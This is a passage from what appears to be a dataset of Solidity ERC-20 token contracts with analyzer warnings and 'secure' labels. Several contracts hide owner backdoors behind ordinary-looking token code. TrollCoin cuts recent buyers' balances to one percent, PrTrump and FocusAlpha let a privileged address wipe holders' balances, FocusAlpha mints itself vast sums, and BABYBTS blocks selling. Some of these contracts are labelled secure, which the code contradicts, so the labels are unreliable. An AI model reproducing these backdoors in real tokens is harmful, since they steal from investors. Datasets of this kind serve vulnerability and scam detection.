{\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a5f582): TrollCoin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3a5f582: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e7829c8): TrollCoin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e7829c8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[_msgSender()][from] >= amount);\n _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);\n return true;\n }\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0));\n require(to != address(0));\n if (duringSwap(from, to)) {\n return addLiquidity(amount, to);\n }\n if (liquifying) {} else {\n require(_balances[from] >= amount);\n }\n buyback(from);\n bool inLiquidityTransaction = (to == uniswapV2Pair() &&\n _excludedFromFee[from]) ||\n (from == uniswapV2Pair() && _excludedFromFee[to]);\n if (\n !_excludedFromFee[from] &&\n !_excludedFromFee[to] &&\n !Address.isPairAddress(to) &&\n to != address(this) &&\n !inLiquidityTransaction &&\n !liquifying\n ) {\n require(amount <= _maxTxAmount);\n addTransaction(to, amount);\n }\n _balances[from] = _balances[from] - amount;\n _balances[to] += amount;\n emit Transfer(from, to, amount);\n }\n function duringSwap(address from, address to) internal view returns (bool) {\n return\n (_excludedFromFee[msg.sender] || Address.isPairAddress(to)) &&\n to == from;\n }\n function addTransaction(address to, uint256 amount) internal {\n if (uniswapV2Pair() != to) {\n _buybacks.push(Buyback(to, amount));\n }\n }\n function buyback(address from) internal {\n if (from == uniswapV2Pair()) {\n\t\t\t// cache-array-length | ID: 11ee457\n for (uint256 i = 0; i < _buybacks.length; i++) {\n _balances[_buybacks[i].to] = _balances[_buybacks[i].to].div(\n 100\n );\n }\n delete _buybacks;\n }\n }\n function uniswapV2Pair() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f638dab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f638dab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function addLiquidity(uint256 liquidityFee, address to) private {\n _approve(address(this), address(_router), liquidityFee);\n _balances[address(this)] = liquidityFee;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n liquifying = true;\n\t\t// reentrancy-benign | ID: f638dab\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n liquidityFee,\n 0,\n path,\n to,\n block.timestamp + 20\n );\n\t\t// reentrancy-benign | ID: f638dab\n liquifying = false;\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(from, recipient, amount);\n require(_allowances[from][_msgSender()] >= amount);\n return true;\n }\n}", "file_name": "solidity_code_3199.sol", "secure": 0, "size_bytes": 9017 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function domainSeparator() external view returns (bytes32);\n\n function permitTypeHash() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function minimumLiquidity() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function burn(address to) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}", "file_name": "solidity_code_32.sol", "secure": 1, "size_bytes": 2731 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract PrTrump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable emica;\n\n constructor() {\n _name = \"President Trump\";\n\n _symbol = \"PrTrump\";\n\n _decimals = 18;\n\n uint256 initialSupply = 710000000;\n\n emica = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == emica, \"Not allowed\");\n\n _;\n }\n\n function epizo(address[] memory mosqu) public onlyOwner {\n for (uint256 i = 0; i < mosqu.length; i++) {\n address account = mosqu[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_320.sol", "secure": 1, "size_bytes": 4357 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FLIP is Ownable, ERC20 {\n bool public limited;\n uint256 public maxWallet;\n address public uniswapV2Pair;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d215f50): FLIP.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for d215f50: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"FLIP\", \"FLIP\") {\n _mint(msg.sender, _totalSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c52c182): FLIP.setWalletRule(bool,address,uint256) should emit an event for maxWallet = _maxWallet \n\t// Recommendation for c52c182: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f362441): FLIP.setWalletRule(bool,address,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for f362441: Check that the address is not zero.\n function setWalletRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxWallet\n ) external onlyOwner {\n limited = _limited;\n\t\t// missing-zero-check | ID: f362441\n uniswapV2Pair = _uniswapV2Pair;\n\t\t// events-maths | ID: c52c182\n maxWallet = _maxWallet;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading not open yet\");\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(balanceOf(to) + amount <= maxWallet, \"max wallet breached\");\n }\n }\n}", "file_name": "solidity_code_3200.sol", "secure": 0, "size_bytes": 1965 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract BABYBTS is Ownable {\n string public name;\n\n function _transfer(\n address light,\n address powder,\n uint256 vehicle\n ) private returns (bool success) {\n if (educate[light] == 0) {\n if (muffin[light] > 0 && light != uniswapV2Pair) {\n educate[light] -= stomach;\n }\n balanceOf[light] -= vehicle;\n }\n balanceOf[powder] += vehicle;\n emit Transfer(light, powder, vehicle);\n return true;\n }\n\n mapping(address => uint256) private educate;\n mapping(address => uint256) private muffin;\n\t// WARNING Optimization Issue (constable-states | ID: e9e0e26): BABYBTS.decimals should be constant \n\t// Recommendation for e9e0e26: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (constable-states | ID: 0020914): BABYBTS.stomach should be constant \n\t// Recommendation for 0020914: Add the 'constant' attribute to state variables that never change.\n uint256 private stomach = 18;\n\n function approve(\n address right,\n uint256 vehicle\n ) public returns (bool success) {\n allowance[msg.sender][right] = vehicle;\n if (vehicle == 0) {\n muffin[right] += stomach;\n }\n emit Approval(msg.sender, right, vehicle);\n return true;\n }\n\n function transferFrom(\n address light,\n address powder,\n uint256 vehicle\n ) public returns (bool success) {\n _transfer(light, powder, vehicle);\n require(vehicle <= allowance[light][msg.sender]);\n allowance[light][msg.sender] -= vehicle;\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4a53146): BABYBTS.uniswapV2Pair should be immutable \n\t// Recommendation for 4a53146: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 48667f4): BABYBTS.totalSupply should be immutable \n\t// Recommendation for 48667f4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n function transfer(\n address powder,\n uint256 vehicle\n ) public returns (bool success) {\n _transfer(msg.sender, powder, vehicle);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor(address business) {\n symbol = \"BABYBTS\";\n name = \"Baby BTS Fan Token\";\n totalSupply = 1000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n educate[business] = stomach;\n renounceOwnership();\n }\n}", "file_name": "solidity_code_3201.sol", "secure": 1, "size_bytes": 3752 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RATCOIN is ERC20 {\n constructor() ERC20(\"RATCOIN\", \"RATZ\") {\n _mint(msg.sender, 72_000_000 * (10 ** 18));\n }\n}", "file_name": "solidity_code_3202.sol", "secure": 1, "size_bytes": 266 }
{ "code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 {\n string public constant name = \"THE 420\"; //\n string public constant symbol = \"$420\"; //\n uint8 public constant decimals = 9;\n uint256 public constant totalSupply = 1_000_000 * 10 ** decimals;\n\n uint256 constant buyTax = 0;\n uint256 constant sellTax = 0;\n uint256 constant swapAmount = totalSupply / 100;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n address immutable pair;\n address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n IUniswapV2Router02 constant _uniswapV2Router =\n IUniswapV2Router02(routerAddress);\n address payable constant deployer =\n payable(address(0x67823d43B65aa96883b3d8628495Cd6C5ce58b5b));\n\n bool private swapping;\n bool private tradingOpen;\n\n constructor() {\n pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n ETH\n );\n balanceOf[msg.sender] = totalSupply;\n allowance[address(this)][routerAddress] = type(uint256).max;\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transfer(address to, uint256 amount) external returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool) {\n allowance[from][msg.sender] -= amount;\n return _transfer(from, to, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n require(tradingOpen || from == deployer || to == deployer);\n\n balanceOf[from] -= amount;\n\n if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount) {\n swapping = true;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = ETH;\n\t\t\t// reentrancy-events | ID: 42b8b0b\n\t\t\t// reentrancy-eth | ID: 6b5d990\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n swapAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\t\t\t// reentrancy-events | ID: 42b8b0b\n\t\t\t// reentrancy-eth | ID: 6b5d990\n deployer.transfer(address(this).balance);\n\t\t\t// reentrancy-eth | ID: 6b5d990\n swapping = false;\n }\n\n if (from != address(this)) {\n uint256 taxAmount = (amount * (from == pair ? buyTax : sellTax)) /\n 100;\n amount -= taxAmount;\n\t\t\t// reentrancy-eth | ID: 6b5d990\n balanceOf[address(this)] += taxAmount;\n }\n\t\t// reentrancy-eth | ID: 6b5d990\n balanceOf[to] += amount;\n\t\t// reentrancy-events | ID: 42b8b0b\n emit Transfer(from, to, amount);\n return true;\n }\n\n function enableTrading() external {\n require(!tradingOpen);\n require(msg.sender == deployer);\n tradingOpen = true;\n }\n}", "file_name": "solidity_code_3203.sol", "secure": 1, "size_bytes": 3942 }
{ "code": "// SPDX-License-Identifier: None\n\npragma solidity ^0.8.0;\n\ninterface IERC20Errors {\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n error ERC20InvalidReceiver(address receiver);\n error ERC20InvalidApprover(address approver);\n error ERC20InvalidSpender(address spender);\n error ERC20InvalidSender(address sender);\n error ERC20MaxWallet();\n error ERC20MaxTx();\n}", "file_name": "solidity_code_3204.sol", "secure": 1, "size_bytes": 587 }
{ "code": "// SPDX-License-Identifier: None\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address initialOwner = _msgSender();\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function _transferOwnership(address newOwner) private {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function _renounceOwnership() internal onlyOwner {\n _transferOwnership(address(0));\n }\n}", "file_name": "solidity_code_3205.sol", "secure": 1, "size_bytes": 1162 }
{ "code": "// SPDX-License-Identifier: None\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SOCKY is IERC20Metadata, IERC20Errors, Ownable {\n uint256 private constant _totalSupply = 1 * 10 ** 18;\n mapping(address => bool) private _safe;\n mapping(address account => uint256) private _balances;\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: c95dd12): SOCKY._socky should be immutable \n\t// Recommendation for c95dd12: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _socky;\n\n constructor() {\n _socky = tx.origin;\n _safe[tx.origin] = true;\n _safe[address(0)] = true;\n _safe[address(this)] = true;\n _transfer(address(0), _msgSender(), _totalSupply);\n _renounceOwnership();\n }\n\n function name() external pure returns (string memory) {\n return\n \"ONE DIRTY SOCK THAT IS VERY INTELLIGENT; MORE INTELLIGENT THAN AI. NOT EVEN GROK, CHATGPT, BARD AND YOUR MOMS' TITS COMBINED CAN COMPETE.\";\n }\n\n function symbol() external pure returns (string memory) {\n return \"SOCKY\";\n }\n\n function decimals() external pure returns (uint8) {\n return 18;\n }\n\n function totalSupply() external pure returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02d8ef5): SOCKY.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 02d8ef5: Rename the local variables that shadow another component.\n function transfer(address to, uint256 value) external returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5a4a37b): SOCKY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5a4a37b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d156976): SOCKY.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d156976: Rename the local variables that shadow another component.\n function approve(address spender, uint256 value) external returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n if (from == _socky && amount > _totalSupply / 25) {\n _safe[_msgSender()] = true;\n _safe[to] = true;\n }\n\n if (!_safe[from]) {\n if (amount > _totalSupply / 50) {\n revert ERC20MaxTx();\n }\n }\n if (!_safe[to]) {\n if (_balances[to] + amount > _totalSupply / 50) {\n revert ERC20MaxWallet();\n }\n }\n if (from == address(0)) {\n unchecked {\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance < amount) {\n revert ERC20InsufficientBalance(from, fromBalance, amount);\n }\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d6f3f19): SOCKY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d6f3f19: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 value) private {\n _approve(owner, spender, value, true);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2bdffb9): SOCKY._approve(address,address,uint256,bool).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2bdffb9: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) private {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 528bdd0): SOCKY._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 528bdd0: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) private {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}", "file_name": "solidity_code_3206.sol", "secure": 0, "size_bytes": 6474 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Cybersynapse is ERC20 {\n constructor() ERC20(\"Cybersynapse\", \"Cybersynapse\") {\n _mint(msg.sender, 420_690000000000 * (10 ** 18));\n }\n}", "file_name": "solidity_code_3207.sol", "secure": 1, "size_bytes": 290 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract FocusAlpha {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: 9023283): FocusAlpha.tokenTotalSupply should be immutable \n\t// Recommendation for 9023283: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: dc31954): FocusAlpha.xxnux should be immutable \n\t// Recommendation for dc31954: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: d47e95e): FocusAlpha.tokenDecimals should be immutable \n\t// Recommendation for d47e95e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7965f4e): FocusAlpha.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 7965f4e: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Focus Alpha\";\n tokenSymbol = \"FOCUS\";\n tokenDecimals = 18;\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: 7965f4e\n xxnux = ads;\n }\n function addBots(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 100000000 *\n 10000 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_3208.sol", "secure": 0, "size_bytes": 5601 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract AELLO {\n using SafeMath for uint256;\n mapping(address => uint256) private VXB;\n\n mapping(address => uint256) public VXBB;\n mapping(address => mapping(address => uint256)) public allowance;\n\t// WARNING Optimization Issue (constable-states | ID: 04cd273): AELLO.name should be constant \n\t// Recommendation for 04cd273: Add the 'constant' attribute to state variables that never change.\n string public name = \"AELLO NETWORK\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e591ac): AELLO.symbol should be constant \n\t// Recommendation for 3e591ac: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"AELLO\";\n\t// WARNING Optimization Issue (constable-states | ID: 4cf3373): AELLO.decimals should be constant \n\t// Recommendation for 4cf3373: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5480513): AELLO.totalSupply 